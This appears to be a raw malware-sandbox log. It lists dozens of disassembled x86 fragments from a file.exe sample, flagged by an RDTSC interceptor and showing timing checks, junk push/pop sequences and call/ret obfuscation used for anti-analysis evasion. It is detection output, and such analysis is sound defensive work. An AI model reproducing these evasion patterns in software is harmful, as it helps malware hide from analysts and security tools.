Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C693 second address: 130C737 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC8515781E1h 0x00000008 ja 00007FC8515781D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xor dword ptr [esp], 773645E5h 0x00000018 stc 0x00000019 push 00000003h 0x0000001b sub dh, FFFFFFCEh 0x0000001e push 00000000h 0x00000020 mov esi, dword ptr [ebp+122D3494h] 0x00000026 push 00000003h 0x00000028 mov dx, CE01h 0x0000002c call 00007FC8515781D9h 0x00000031 jmp 00007FC8515781E0h 0x00000036 push eax 0x00000037 push ecx 0x00000038 jmp 00007FC8515781E1h 0x0000003d pop ecx 0x0000003e mov eax, dword ptr [esp+04h] 0x00000042 pushad 0x00000043 jp 00007FC8515781E5h 0x00000049 jmp 00007FC8515781DFh 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 push ecx 0x00000052 pop ecx 0x00000053 popad 0x00000054 popad 0x00000055 mov eax, dword ptr [eax] 0x00000057 js 00007FC8515781DEh 0x0000005d jl 00007FC8515781D8h 0x00000063 push ebx 0x00000064 pop ebx 0x00000065 mov dword ptr [esp+04h], eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d jg 00007FC8515781D6h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C737 second address: 130C74B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D40h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C74B second address: 130C755 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC8515781DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C755 second address: 130C7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov esi, eax 0x00000009 mov si, 7AF2h 0x0000000d lea ebx, dword ptr [ebp+12452205h] 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FC850CE3D38h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d jno 00007FC850CE3D47h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C7A2 second address: 130C7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC8515781D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C7AD second address: 130C7B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C7B3 second address: 130C7B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BEF5 second address: 132BF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C31A second address: 132C31E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C31E second address: 132C324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C324 second address: 132C32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C32A second address: 132C330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C330 second address: 132C334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C4BE second address: 132C4CA instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC850CE3D36h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C63F second address: 132C660 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC8515781DAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c jl 00007FC8515781D6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007FC8515781D6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C660 second address: 132C664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C7BB second address: 132C7C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C7C1 second address: 132C7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FC850CE3D36h 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C7DB second address: 132C7E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C7E1 second address: 132C7ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FC850CE3D36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C7ED second address: 132C7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C7F1 second address: 132C7FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132CACB second address: 132CAD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D1E9 second address: 132D1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D1ED second address: 132D1F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D1F1 second address: 132D1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D91F second address: 132D933 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC8515781D6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D933 second address: 132D938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D938 second address: 132D94F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FC8515781D6h 0x0000000a jmp 00007FC8515781DDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D94F second address: 132D953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331D7B second address: 1331D7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331D7F second address: 1331DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC850CE3D3Eh 0x0000000b popad 0x0000000c push eax 0x0000000d ja 00007FC850CE3D3Ah 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331DA8 second address: 1331DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330C03 second address: 1330C18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC850CE3D3Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13340CD second address: 13340D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13340D1 second address: 13340D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338028 second address: 133803D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FC8515781DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133803D second address: 133804E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jbe 00007FC850CE3D36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13381FB second address: 1338229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b jmp 00007FC8515781E1h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC8515781DEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338229 second address: 133822D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338509 second address: 133850D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133850D second address: 1338519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13387F9 second address: 13387FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338A8F second address: 1338A99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338A99 second address: 1338AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC8515781D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338AA3 second address: 1338AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A287 second address: 133A28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A28B second address: 133A2A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D44h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A2A3 second address: 133A2AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D94D second address: 133D952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E397 second address: 133E3A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E403 second address: 133E43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 jmp 00007FC850CE3D3Ch 0x00000017 popad 0x00000018 xchg eax, ebx 0x00000019 or edi, dword ptr [ebp+122D2360h] 0x0000001f push eax 0x00000020 pushad 0x00000021 jmp 00007FC850CE3D3Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 pop edi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E82B second address: 133E82F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E82F second address: 133E839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E839 second address: 133E86D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FC8515781E8h 0x00000010 jmp 00007FC8515781E0h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E86D second address: 133E872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E996 second address: 133E9C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC8515781DFh 0x00000008 jp 00007FC8515781D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC8515781DDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E9C1 second address: 133E9CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC850CE3D3Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E9CF second address: 133EA08 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC8515781D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FC8515781D8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 jmp 00007FC8515781DAh 0x0000002c push eax 0x0000002d push ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133EA08 second address: 133EA0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133EEED second address: 133EEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F87D second address: 133F892 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1340B13 second address: 1340B17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1340B17 second address: 1340B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FC850CE3D38h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D17B4h] 0x00000029 or edi, dword ptr [ebp+122D3049h] 0x0000002f push 00000000h 0x00000031 mov edi, 3A813983h 0x00000036 push 00000000h 0x00000038 jmp 00007FC850CE3D46h 0x0000003d xchg eax, ebx 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1340B71 second address: 1340B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jo 00007FC8515781E2h 0x0000000e jo 00007FC8515781DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13401BA second address: 13401BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13401BF second address: 13401D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC8515781DBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342038 second address: 134207B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a movzx esi, cx 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FC850CE3D38h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 jmp 00007FC850CE3D3Ch 0x0000002e push 00000000h 0x00000030 movzx esi, di 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134423C second address: 13442D7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC8515781ECh 0x00000008 jmp 00007FC8515781E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov esi, 28433736h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007FC8515781D8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 sub dword ptr [ebp+122D1CCAh], edx 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007FC8515781D8h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 jmp 00007FC8515781E3h 0x0000005e jmp 00007FC8515781E3h 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD654 second address: 12FD65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD65D second address: 12FD689 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC8515781D6h 0x00000008 jno 00007FC8515781D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push ebx 0x00000012 jmp 00007FC8515781E7h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD689 second address: 12FD691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD691 second address: 12FD697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13472C6 second address: 13472FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007FC850CE3D44h 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13428F1 second address: 13428FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC8515781DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13472FD second address: 1347303 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13428FF second address: 1342903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343482 second address: 134348F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FC850CE3D36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344012 second address: 1344016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347303 second address: 1347386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FC850CE3D38h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D314Ah], ebx 0x0000002a sub dword ptr [ebp+122D2014h], ecx 0x00000030 push 00000000h 0x00000032 jmp 00007FC850CE3D45h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007FC850CE3D38h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000014h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 xchg eax, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344A42 second address: 1344A59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC8515781E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344016 second address: 134402A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b js 00007FC850CE3D36h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347386 second address: 134738A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134738A second address: 13473A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
